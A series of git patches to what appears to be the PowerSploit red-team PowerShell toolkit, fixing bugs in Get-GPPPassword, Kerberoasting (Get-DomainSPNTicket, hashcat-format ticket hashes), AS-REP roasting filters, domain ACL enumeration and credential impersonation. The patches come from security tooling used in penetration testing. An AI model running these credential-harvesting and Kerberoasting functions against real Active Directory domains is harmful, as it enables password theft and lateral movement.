System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) -Invoke-Kerberoast -Credential $Cred -Verbose | fl +Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl + +Kerberoasts all found SPNs for the testlab.local domain using alternate credentials. .OUTPUTS From 215ec25da051770bed4e6119f6e911f0ac5e11f7 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 9 Jan 2017 18:11:15 -0500 Subject: [PATCH 236/296] Bug fixes in Get-GPPPassword --- Exfiltration/Get-GPPPassword.ps1 | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index bb58667d..f7be74c1 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -296,12 +296,17 @@ http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html } try { - $XMlFiles = @() + $XMLFiles = @() $Domains = @() + $AllUsers = $Env:ALLUSERSPROFILE + if (-not $AllUsers) { + $AllUsers = 'C:\ProgramData' + } + # discover any locally cached GPP .xml files Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files' - $MlFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue + $XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue if ($SearchForest) { Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts' @@ -325,11 +330,11 @@ http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html $DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml') if($DomainXMLFiles) { - $XMlFiles += $DomainXMLFiles + $XMLFiles += $DomainXMLFiles } } - if ( -not $XMlFiles ) { throw '[Get-GPPPassword] No preference files found.' } + if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' } Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." From aecb0b57a46e34efd14757ed5bc3de84c34b0e2f Mon Sep 17 00:00:00 2001 From: Lee Christensen Date: Mon, 9 Jan 2017 22:18:36 -0800 Subject: [PATCH 237/296] Words :P --- Recon/PowerView.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 5e08807c..0cb20f52 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -3670,7 +3670,7 @@ http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } catch { - Write-Verbose "[Get-Domain] The specified domain does '$TargetDomain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" + Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" } } elseif ($PSBoundParameters['Domain']) { From 9ea5c5b7f5b052d6d2cd63174d9f6a8fc48a1b43 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Tue, 10 Jan 2017 18:31:30 -0500 Subject: [PATCH 238/296] Couple of fixes for Get-DomainSPNTicket --- Recon/PowerView.ps1 | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 5e08807c..c0209d0c 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -2296,8 +2296,8 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and } else { $UserSPN = $Object - $SamAccountName = $Null - $DistinguishedName = $Null + $SamAccountName = 'UNKNOWN' + $DistinguishedName = 'UNKNOWN' } # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3 @@ -2309,7 +2309,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN } catch { - Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName'" + Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" } if ($Ticket) { $TicketByteStream = $Ticket.GetRequest() @@ -2330,7 +2330,12 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" } else { - $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + if ($DistinguishedName -ne 'UNKNOWN') { + $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + else { + $UserDomain = 'UNKNOWN' + } # hashcat output format $HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" @@ -2338,7 +2343,6 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and $Out | Add-Member Noteproperty 'Hash' $HashFormat $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') Write-Output $Out - break } } } @@ -5785,7 +5789,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. } if ($PSBoundParameters['SPN']) { Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" - $Filter += '(servicePrincipalName=$SPN)' + $Filter += "(servicePrincipalName=$SPN)" } if ($PSBoundParameters['OperatingSystem']) { Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem" From e08432954e71868e2a32681d8eb257d58f159ecf Mon Sep 17 00:00:00 2001 From: Lee Christensen Date: Wed, 11 Jan 2017 08:09:49 -0800 Subject: [PATCH 239/296] Fixed KerberosPreauthNotRequired --- Recon/PowerView.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 212b74e2..8d804824 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -4760,7 +4760,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' $Filter += '(msds-allowedtodelegateto=*)' } - if ($PSBoundParameters['KerberosPreauthNotRequireduthNotRequired']) { + if ($PSBoundParameters['KerberosPreauthNotRequired']) { Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' } From 6c113b7956f811af66ced410a41b5bf8c6a4981f Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 11 Jan 2017 14:03:46 -0500 Subject: [PATCH 240/296] Fixed bug in Convert-ADName that output an array including null values instead of a string --- Recon/PowerView.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 212b74e2..a16e066e 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1563,18 +1563,18 @@ https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67 ) } catch { - Write-Verbose "[Convert-ADName] Error initialiting translation for '$Identity' using alternate credentials : $_" + Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_" } } else { try { - Invoke-Method $Translate 'Init' ( + $Null = Invoke-Method $Translate 'Init' ( $ADSInitType, $InitName ) } catch { - Write-Verbose "[Convert-ADName] Error initialiting translation for '$Identity' : $_" + Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_" } } @@ -1583,7 +1583,7 @@ https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67 try { # 8 = Unknown name type -> let the server do the work for us - Invoke-Method $Translate 'Set' (8, $TargetIdentity) + $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity) Invoke-Method $Translate 'Get' ($ADSOutputType) } catch [System.Management.Automation.MethodInvocationException] { From d4166f80d4153b175a1e8e2a0f69eca58e04d2f9 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 11 Jan 2017 15:55:35 -0500 Subject: [PATCH 241/296] bug fix for Get-DomainObject/Get-DomainObjectACL --- Recon/PowerView.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index a16e066e..3afa61cd 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6074,7 +6074,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. elseif ($IdentityInstance -match '^S-1-.*') { $IdentityFilter += "(objectsid=$IdentityInstance)" } - elseif ($IdentityInstance -match '^(CN|OU)=.*') { + elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" } else { @@ -6774,7 +6774,7 @@ Custom PSObject with ACL entries. if ($IdentityInstance -match '^S-1-.*') { $IdentityFilter += "(objectsid=$IdentityInstance)" } - elseif ($IdentityInstance -match '^(CN|OU)=.*') { + elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" } else { From fa1baa64a86bfba58a07bd43faf8c9d37b0e0424 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 11 Jan 2017 18:00:27 -0500 Subject: [PATCH 242/296] Parenthesis escaping for Get-DomainObject DN searches --- Recon/PowerView.ps1 | 31 +++++++++++++++++-------------- 1 file changed, 17 insertions(+), 14 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 3afa61cd..22970ed2 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6071,23 +6071,26 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $ObjectSearcher = Get-DomainSearcher @SearcherArguments } } - elseif ($IdentityInstance -match '^S-1-.*') { - $IdentityFilter += "(objectsid=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - } else { - try { - $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' - $IdentityFilter += "(objectguid=$GuidByteString)" + $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-.*') { + $IdentityFilter += "(objectsid=$IdentityInstance)" } - catch { - if ($IdentityInstance.Contains('.')) { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" } - else { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + catch { + if ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + } } } } From 8a2e1daaa3e31106c9eff0454285319d11d50d00 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 11 Jan 2017 19:04:56 -0500 Subject: [PATCH 243/296] Parenthesis for additional LDAP functions --- Recon/PowerView.ps1 | 96 ++++++++++++++++++++++++--------------------- 1 file changed, 51 insertions(+), 45 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 22970ed2..08f70890 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -4717,21 +4717,24 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $UserSearcher = Get-DomainSearcher @SearcherArguments } } - elseif ($IdentityInstance -match '^S-1-.*') { - # SID format - $IdentityFilter += "(objectsid=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^CN=.*') { - # distinguished names - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - } else { - try { - $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' - $IdentityFilter += "(objectguid=$GuidByteString)" + $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-.*') { + # SID format + $IdentityFilter += "(objectsid=$IdentityInstance)" } - catch { - $IdentityFilter += "(samAccountName=$IdentityInstance)" + elseif ($IdentityInstance -match '^CN=.*') { + # distinguished names + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } } } } @@ -5746,7 +5749,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_ + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-.*') { $IdentityFilter += "(objectsid=$IdentityInstance)" } @@ -6773,7 +6776,7 @@ Custom PSObject with ACL entries. $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_ + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-.*') { $IdentityFilter += "(objectsid=$IdentityInstance)" } @@ -7662,7 +7665,7 @@ Custom PSObject with translated OU property fields. $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_ + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^OU=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" } @@ -7921,7 +7924,7 @@ Custom PSObject with translated site property fields. $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_ + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" } @@ -8179,7 +8182,7 @@ Custom PSObject with translated subnet property fields. $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_ + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" } @@ -8650,19 +8653,22 @@ Custom PSObject with translated group property fields. $GroupSearcher = Get-DomainSearcher @SearcherArguments } } - elseif ($IdentityInstance -match '^S-1-.*') { - $IdentityFilter += "(objectsid=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^CN=.*') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - } else { - try { - $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' - $IdentityFilter += "(objectguid=$GuidByteString)" + $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-.*') { + $IdentityFilter += "(objectsid=$IdentityInstance)" } - catch { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + elseif ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + } } } } @@ -9371,19 +9377,22 @@ http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of- $GroupSearcher = Get-DomainSearcher @SearcherArguments } } - elseif ($IdentityInstance -match '^S-1-.*') { - $IdentityFilter += "(objectsid=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^CN=.*') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - } else { - try { - $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' - $IdentityFilter += "(objectguid=$GuidByteString)" + $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-.*') { + $IdentityFilter += "(objectsid=$IdentityInstance)" } - catch { - $IdentityFilter += "(samAccountName=$IdentityInstance)" + elseif ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } } } } @@ -10928,11 +10937,8 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_ - if ($IdentityInstance -match 'LDAP://') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^CN=.*') { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match 'LDAP://|^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" } elseif ($IdentityInstance -match '{.*}') { From 510cba8bcd570494eabdc4ab54bb4ba1f5d4cae5 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 11 Jan 2017 20:16:01 -0500 Subject: [PATCH 244/296] Added displayname to the default filter set for Get-DomainObject[ACL] --- Recon/PowerView.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 08f70890..53b3d4ce 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6092,7 +6092,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" } else { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" } } } @@ -6793,7 +6793,7 @@ Custom PSObject with ACL entries. $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" } else { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" } } } From 454e04005db7678163a1610080d1dff0782ac35d Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 11 Jan 2017 20:39:57 -0500 Subject: [PATCH 245/296] Standardized output from Find-InterestingDomainAcl --- Recon/PowerView.ps1 | 51 +++++++++++++++++++++++++++++++++++---------- 1 file changed, 40 insertions(+), 11 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index a65c8848..ef9048a3 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -7404,11 +7404,26 @@ Custom PSObject with ACL entries. if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') { if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) { $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value] - $_ | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName - $_ | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain - $_ | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN - $_ | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass - $_ + + $InterestingACL = New-Object PSObject + $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN + $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier + $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights + if ($_.ObjectAceType) { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType + } + else { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' + } + $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags + $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType + $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags + $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass + $InterestingACL } else { $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments @@ -7421,7 +7436,7 @@ Custom PSObject with ACL entries. $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN # "IdentityReferenceDN: $IdentityReferenceDN" $Object = Get-DomainObject @ObjectSearcherArguments - $ObjectSearcherArguments + if ($Object) { $IdentityReferenceName = $Object.Properties.samaccountname[0] if ($Object.Properties.objectclass -match 'computer') { @@ -7440,11 +7455,25 @@ Custom PSObject with ACL entries. # save so we don't look up more than once $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass - $_ | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName - $_ | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain - $_ | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN - $_ | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass - $_ + $InterestingACL = New-Object PSObject + $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN + $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier + $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights + if ($_.ObjectAceType) { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType + } + else { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' + } + $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags + $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType + $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags + $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass + $InterestingACL } } else { From 6927a26940fdfaf4a7508a22a88572363c8b997c Mon Sep 17 00:00:00 2001 From: Mike Brancato Date: Mon, 16 Jan 2017 01:37:34 -0500 Subject: [PATCH 246/296] Fix for impersonation in Get-NetLocalGroup* Removed unnecessary warning about the 'WinNT' method Fixed Get-NetLocalGroup* to use impersonation - netapi32 functions weren't working. --- Recon/PowerView.ps1 | 34 ++++++++++++++++++---------------- 1 file changed, 18 insertions(+), 16 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index ef9048a3..142f2a33 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -12181,8 +12181,8 @@ https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx ) BEGIN { - if ($PSBoundParameters['Credential'] -and ($Method -eq 'WinNT')) { - Write-Warning "[Get-NetLocalGroup] -Credential is only compatible with '-Method WinNT'" + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential } } @@ -12235,12 +12235,7 @@ https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx } else { # otherwise we're using the WinNT service provider - if ($Credential -ne [Management.Automation.PSCredential]::Empty) { - $ComputerProvider = New-Object DirectoryServices.DirectoryEntry("WinNT://$Computer,computer", $Credential.UserName, $Credential.GetNetworkCredential().Password) - } - else { - $ComputerProvider = [ADSI]"WinNT://$Computer,computer" - } + $ComputerProvider = [ADSI]"WinNT://$Computer,computer" $ComputerProvider.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { $LocalGroup = ([ADSI]$_) @@ -12255,6 +12250,12 @@ https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx } } } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } } @@ -12386,8 +12387,8 @@ https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx ) BEGIN { - if ($PSBoundParameters['Credential'] -and ($Method -eq 'WinNT')) { - Write-Warning "[Get-NetLocalGroupMember] -Credential is only compatible with '-Method WinNT'" + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential } } @@ -12481,12 +12482,7 @@ https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx else { # otherwise we're using the WinNT service provider try { - if ($Credential -ne [Management.Automation.PSCredential]::Empty) { - $GroupProvider = New-Object DirectoryServices.DirectoryEntry("WinNT://$Computer/$GroupName,group", $Credential.UserName, $Credential.GetNetworkCredential().Password) - } - else { - $GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group" - } + $GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group" $GroupProvider.psbase.Invoke('Members') | ForEach-Object { @@ -12571,6 +12567,12 @@ https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx } } } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } } From 445f7b2510c4553dcd9451bc4daccb20c8e67cbb Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 16 Jan 2017 23:52:19 -0500 Subject: [PATCH 247/296] Changed -KerberosPreauthNotRequired to -PreauthNotRequired --- Recon/PowerView.ps1 | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index ef9048a3..79a415cf 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -4471,7 +4471,7 @@ Switch. Return user accounts that are marked as 'sensitive and not allowed for d Switch. Return computer objects that are trusted to authenticate for other principals. -.PARAMETER KerberosPreauthNotRequired +.PARAMETER PreauthNotRequired Switch. Return user accounts with "Do not require Kerberos preauthentication" set. @@ -4628,8 +4628,9 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Switch] $TrustedToAuth, + [Alias('KerberosPreauthNotRequired', 'NoPreauth')] [Switch] - $KerberosPreauthNotRequired, + $PreauthNotRequired, [ValidateNotNullOrEmpty()] [String] @@ -4763,7 +4764,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' $Filter += '(msds-allowedtodelegateto=*)' } - if ($PSBoundParameters['KerberosPreauthNotRequired']) { + if ($PSBoundParameters['PreauthNotRequired']) { Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' } From c8cee6455a8156a0f3f85c57c9c1f176d03e1c3f Mon Sep 17 00:00:00 2001 From: Oddvar Moe Date: Mon, 23 Jan 2017 07:12:23 +0100 Subject: [PATCH 248/296] Added Invoke-CompareAttributesForClass.ps1 --- Recon/Invoke-CompareAttributesForClass.ps1 | 1044 ++++++++++++++++++++ 1 file changed, 1044 insertions(+) create mode 100644 Recon/Invoke-CompareAttributesForClass.ps1 diff --git a/Recon/Invoke-CompareAttributesForClass.ps1 b/Recon/Invoke-CompareAttributesForClass.ps1 new file mode 100644 index 00000000..b2d11c69 --- /dev/null +++ b/Recon/Invoke-CompareAttributesForClass.ps1 @@ -0,0 +1,1044 @@ +function Get-AllAttributesForClass +{<# +.Synopsis + Gets all AD Schema attributes for class +.DESCRIPTION + This function will get all attributes for a class from AD. +.EXAMPLE + PS C:\> 